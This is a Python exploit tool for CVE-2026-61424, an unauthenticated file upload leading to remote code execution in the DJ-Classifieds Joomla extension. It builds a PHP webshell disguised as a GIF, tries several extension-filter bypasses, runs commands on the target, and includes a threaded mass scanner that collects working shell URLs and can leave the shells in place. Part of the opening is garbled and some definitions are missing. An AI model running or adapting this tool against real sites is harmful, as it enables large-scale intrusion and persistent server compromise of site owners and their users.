#!/usr/bin/env python3 """ CVE-2026-61424 — DJ-Classifieds for Joomla <= 3.11.1 Unauthenticated Arbitrary File Upload → Remote Code Execution (CVSS 10.0) imageupload task → No Auth → 3-String Filter Bypass ( bytes: """Generate a PHP webshell using ONLY short tags (bypasses 3-string filter). DJ-Classifieds blocks: " b"\n/dev/null')); ?>" b"\n" b"\n" ) def build_polyglot(token: str, ext: str = "gif") -> bytes: """Build payload for a specific extension bypass technique. - gif: standard GIF polyglot (always passes validation) - php.json: double extension — .json allowed, getimagesize() on .json? No — use GIF header anyway - "php ": trailing space — ext="php " bypasses preg_match('/\.(php|...)/i') - phar/phtml/php5/php7/shtml: alternative handlers """ payload = fm_shell(token) # For .gif and double-ext: embed in valid GIF to pass getimagesize() if ext in ("gif", "php.json", "php ", "phar", "phtml", "php5", "php7", "shtml"): gif = ( b"GIF89a" b"\x01\x00\x01\x00\x80\x00\x00" b"\xff\xff\xff\xff\xff\xff" b"\x21\xf9\x04\x00\x00\x00\x00\x00" b"\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00" b"\x02\x02\x44\x01\x00\x3b" ) payload = gif + payload return payload # ============================================================================= # HELPERS # ============================================================================= def rid(n: int = 8) -> str: return hashlib.sha256(os.urandom(32)).hexdigest()[:n] def rua() -> str: agents = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", ] return agents[secrets.randbelow(len(agents))] def _spin_bg(): """Animate spinner in a daemon thread.""" global SPIN_FRAME while not _spin_bg._stop: with SPIN_LOCK: SPIN_FRAME = (SPIN_FRAME + 1) % len(SPIN) time.sleep(0.04) _spin_bg._stop = False class Spinner: """Context manager for an ASCII spinner.""" def __init__(self, msg: str = ""): self.msg = msg def __enter__(self): _spin_bg._stop = False self._t = threading.Thread(target=_spin_bg, daemon=True) self._t.start() return self def __exit__(self, *a): _spin_bg._stop = True if self._t.is_alive(): self._t.join(0.1) sys.stderr.write("\r\033[K") sys.stderr.flush() def tick(self, msg: str = ""): with SPIN_LOCK: c = SPIN[SPIN_FRAME] sys.stderr.write(f"\r\033[K {c} {msg or self.msg}") sys.stderr.flush() # ============================================================================= # RESULT # ============================================================================= @dataclass class Result: host: str detected: bool = False version: Optional[str] = None uploaded: bool = False shell_url: Optional[str] = None rce: bool = False output: Optional[str] = None error: Optional[str] = None elapsed: float = 0.0 # ============================================================================= # EXPLOIT ENGINE # ============================================================================= class DJClassifiedsExploit: """CVE-2026-61424 exploit engine.""" def __init__(self, debug: bool = False, no_cleanup: bool = False, timeout: int = 15): self.debug = debug self.no_cleanup = no_cleanup self.timeout = timeout self.session = requests.Session() self.session.verify = False self.session.headers.update({"User-Agent": rua()}) self._token = rid(16) self._shell_file = None # ------------------------------------------------------------------ # Detection # ------------------------------------------------------------------ def detect(self, host: str) -> Tuple[bool, Optional[str]]: """Check if target runs DJ-Classifieds. Returns (detected, version).""" paths = [ "/components/com_djclassifieds/djclassifieds.xml", "/administrator/components/com_djclassifieds/djclassifieds.xml", "/index.php?option=com_djclassifieds", ] for p in paths: try: r = self.session.get(f"https://{host}{p}", timeout=10, allow_redirects=True) if r.status_code != 200: r = self.session.get(f"http://{host}{p}", timeout=10, allow_redirects=True) if r.status_code == 200: m = re.search(r'([0-9.]+)', r.text) if m: return True, m.group(1) if "DJ-Classifieds" in r.text or "com_djclassifieds" in r.text: return True, None except Exception: pass return False, None # ------------------------------------------------------------------ # Exploitation # ------------------------------------------------------------------ def deploy(self, host: str, ext: str = None) -> Optional[str]: """Upload polyglot shell via imageupload endpoint. Returns shell URL. Tries all bypass extensions if ext not specified. """ scheme = "https" base = f"{scheme}://{host}" url = f"{base}{VULN_ENDPOINT}" # Try extensions in order: specified ext → all bypass exts exts_to_try = [(ext, "image/gif")] if ext else BYPASS_EXTENSIONS if ext: exts_to_try = [(ext, "image/gif")] else: exts_to_try = BYPASS_EXTENSIONS for ext, mime in exts_to_try: # Build shell filename with the bypass extension name_no_ext = f"img_{rid(6)}" if ext == "php ": self._shell_file = f"{name_no_ext}.php " # trailing space elif ext == "php.json": self._shell_file = f"{name_no_ext}.php.json" else: self._shell_file = f"{name_no_ext}.{ext}" payload = build_polyglot(self._token, ext) try: r = self.session.post( url, params={"name": self._shell_file, "filename": self._shell_file}, data=payload, headers={"Content-Type": mime, "Accept": "*/*"}, timeout=self.timeout, ) if r.status_code != 200: if scheme == "https": s2 = "http" b2 = f"{s2}://{host}" u2 = f"{b2}{VULN_ENDPOINT}" r = self.session.post( u2, params={"name": self._shell_file, "filename": self._shell_file}, data=payload, headers={"Content-Type": mime, "Accept": "*/*"}, timeout=self.timeout, ) if r.status_code == 200: scheme, base, url = s2, b2, u2 if r.status_code != 200: continue # try next extension # Check for JSON-RPC error (validation failed) if '"error"' in r.text: err = re.search(r'"message"\s*:\s*"([^"]+)"', r.text) err_msg = err.group(1) if err else "unknown" if self.debug: print(f" [!] .{ext}: {err_msg}") continue # try next extension # OK — upload succeeded if self.debug: print(f" [+] .{ext}: upload OK") # Try to extract URL from response json_match = re.search(r'"url"\s*:\s*"([^"]+)"', r.text) if json_match: return json_match.group(1) # Try common paths for d in UPLOAD_DIRS: shell_url = urljoin(base + "/", d + self._shell_file) try: cr = self.session.head(shell_url, timeout=5) if cr.status_code == 200: return shell_url except Exception: pass # Return default path return urljoin(base + "/", f"tmp/djupload/{self._shell_file}") except Exception as e: if self.debug: print(f" [!] .{ext} error: {e}") continue return None # ------------------------------------------------------------------ # RCE Verification # ------------------------------------------------------------------ def verify_rce(self, shell_url: str) -> Tuple[bool, Optional[str]]: """Execute id;hostname;uname -a on the uploaded shell. Tries multiple techniques: 1. Direct GET with ?c=cmd 2. Pathinfo trick (/x.php, /.php) Returns (rce: bool, output: str) """ for suffix in ["" , "/x.php", "/.php"]: try: test_url = f"{shell_url}{suffix}?c=id;hostname;uname+-a" r = self.session.get(test_url, timeout=self.timeout, allow_redirects=True) if r.status_code != 200: continue body = r.content.decode("utf-8", errors="replace") # RCE indicators rce_signals = [ "uid=" in body.lower() and "gid=" in body.lower(), "www-data" in body and SHELL_MARKER in body, SHELL_MARKER in body and "linux" in body.lower(), ] if any(rce_signals): return True, body.strip() except Exception: continue # Fallback: check if file exists but no execution try: r = self.session.get(shell_url, timeout=self.timeout) if r.status_code == 200: body = r.content.decode("utf-8", errors="replace") if SHELL_MARKER in body: return False, f"UPLOADED:{body[:200]}" except Exception: pass return False, None # ------------------------------------------------------------------ # Cleanup # ------------------------------------------------------------------ def cleanup(self, host: str): """Remove uploaded shell.""" if self.no_cleanup or not self._shell_file: return for d in UPLOAD_DIRS: try: shell_url = urljoin(f"https://{host}/", d + self._shell_file) self.session.get(f"{shell_url}?c=rm%20" + self._shell_file, timeout=5) except Exception: pass # ------------------------------------------------------------------ # Full Attack # ------------------------------------------------------------------ def run(self, host: str) -> Result: """Execute full attack chain: detect → deploy → verify RCE.""" t0 = time.monotonic() result = Result(host=host) # Step 1: Detect detected, version = self.detect(host) result.detected = detected result.version = version if not detected: result.error = "DJ-Classifieds not detected" result.elapsed = time.monotonic() - t0 return result # Step 2: Deploy shell_url = self.deploy(host) result.uploaded = shell_url is not None result.shell_url = shell_url if not shell_url: result.error = "Upload failed" result.elapsed = time.monotonic() - t0 return result # Step 3: Verify RCE ok, output = self.verify_rce(shell_url) result.rce = ok result.output = output if not ok and output: result.error = output[:120] # Step 4: Cleanup self.cleanup(host) result.elapsed = time.monotonic() - t0 return result # ============================================================================= # MASS SCANNER # ============================================================================= class MassScanner: """Threaded mass exploitation with live progress bar.""" def __init__(self, threads: int = 30, debug: bool = False, no_cleanup: bool = False, output_file: Optional[str] = None): self.threads = threads self.debug = debug self.no_cleanup = no_cleanup self.output_file = output_file self.lock = threading.Lock() self.done = 0 self.total = 0 self.rce_count = 0 self.det_count = 0 self.up_count = 0 # uploaded but no RCE self.rce_urls = [] def _save(self, url: str): if self.output_file: with self.lock: with open(self.output_file, "a") as f: f.write(url + "\n") def scan(self, targets: List[str]): self.total = len(targets) results = [] print(f"\n Targets : {self.total}") print(f" Threads : {self.threads}") print(f" ───────") with ThreadPoolExecutor(max_workers=self.threads) as pool: futures = {pool.submit(self._worker, h): h for h in targets} for fut in as_completed(futures): try: r = fut.result() if r: results.append(r) except Exception: pass # Summary print(f"\n ───────") print(f" Total : {self.total}") print(f" Detected: {self.det_count}") print(f" Uploaded: {self.up_count} (no exec)") print(f" RCE : {self.rce_count}") if self.output_file and self.rce_urls: print(f"\n Shells saved to: {self.output_file}") return results def _worker(self, host: str) -> Optional[Result]: exp = DJClassifiedsExploit(debug=self.debug, no_cleanup=self.no_cleanup) result = exp.run(host) with self.lock: self.done += 1 if result.detected: self.det_count += 1 if result.rce: self.rce_count += 1 self.rce_urls.append(result.shell_url) self._save(result.shell_url) elif result.uploaded: self.up_count += 1 # uploaded but no exec # Progress line bar_w = 15 filled = int(bar_w * self.done / self.total) bar = "█" * filled + "░" * (bar_w - filled) pct = int(100 * self.done / self.total) tag = ("RCE" if result.rce else "UP " if result.uploaded else "DET" if result.detected else " ") color = ("\033[32m" if result.rce else "\033[33m" if result.uploaded else "\033[36m" if result.detected else "") reset = "\033[0m" if color else "" line = (f"\r\033[K [{color}{tag}{reset}] {host:<35s} " f"{bar} {self.done}/{self.total} ({pct}%) " f"Det:{self.det_count} UP:{self.up_count} RCE:{self.rce_count}") sys.stderr.write(line) sys.stderr.flush() return result # ============================================================================= # BANNER # ============================================================================= BANNER = r""" _____ _____ ___ __ ___ __ __ _ _ _ ___ _ _ / __\ \ / / __|_|_ ) \_ )/ / ___ / // | | |_ ) | | | (__ \ V /| _|___/ / () / // _ \___/ _ \ |_ _/ /|_ _| \___| \_/ |___| /___\__/___\___/ \___/_| |_/___| |_| DJ-Classifieds Unauthenticated File Upload RCE """ # ============================================================================= # MAIN # ============================================================================= def main(): parser = argparse.ArgumentParser( description="CVE-2026-61424 — DJ-Classifieds <= 3.11.1 Unauthenticated File Upload RCE", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent("""\ examples: python cve_2026_61424.py -t target.com python cve_2026_61424.py -f targets.txt -o shells.txt python cve_2026_61424.py -t target.com --no-cleanup --debug """), ) parser.add_argument("-t", "--target", help="single target host") parser.add_argument("-f", "--file", help="file with targets (one per line)") parser.add_argument("-o", "--output", help="save rce urls to file") parser.add_argument("--threads", type=int, default=30, help="worker threads (default: 30)") parser.add_argument("--no-cleanup", action="store_true", help="do not delete shell after rce") parser.add_argument("--debug", action="store_true", help="debug output") args = parser.parse_args() if not args.target and not args.file: parser.print_help() return # Build target list targets = [] if args.target: targets.append(re.sub(r"^https?://", "", args.target).rstrip("/")) if args.file: with open(args.file) as f: for line in f: line = line.strip() if line and not line.startswith("#"): targets.append(re.sub(r"^https?://", "", line).rstrip("/")) targets = list(dict.fromkeys(targets)) print(BANNER) print(f"\n CVE-2026-61424 DJ-Classifieds <= 3.11.1 Unauthenticated File Upload RCE") print(f" CVSS 10.0 (Critical)") # Single target if len(targets) == 1 and not args.file: host = targets[0] exp = DJClassifiedsExploit(debug=args.debug, no_cleanup=args.no_cleanup) with Spinner("detecting...") as sp: sp.tick(f"detecting {host}...") result = exp.run(host) g = "\033[32m" r = "\033[31m" x = "\033[0m" ver_str = (" v" + result.version) if result.version else "" print(f"\n {'Host':<12}: {result.host}") print(f" {'DJ-Classifieds':<12}: " f"{g}YES{x}{ver_str}" if result.detected else f"{r}NO{x}") print(f" {'Upload':<12}: " f"{g}YES{x}" if result.uploaded else f"{r}NO{x}") print(f" {'RCE':<12}: " f"{g}YES{x}" if result.rce else f"{r}NO{x}") if result.shell_url: print(f" {'Shell':<12}: {result.shell_url}") if result.rce and result.output: out_short = result.output[:200].replace("\n", " ") print(f" {'Output':<12}: {out_short}") if result.error and not result.rce: print(f" {'Error':<12}: {result.error}") print(f" {'Time':<12}: {result.elapsed:.1f}s") if result.rce and args.output: with open(args.output, "a") as f: f.write(result.shell_url + "\n") # Mass mode else: scanner = MassScanner(threads=args.threads, debug=args.debug, no_cleanup=args.no_cleanup, output_file=args.output) scanner.scan(targets) if __name__ == "__main__": main()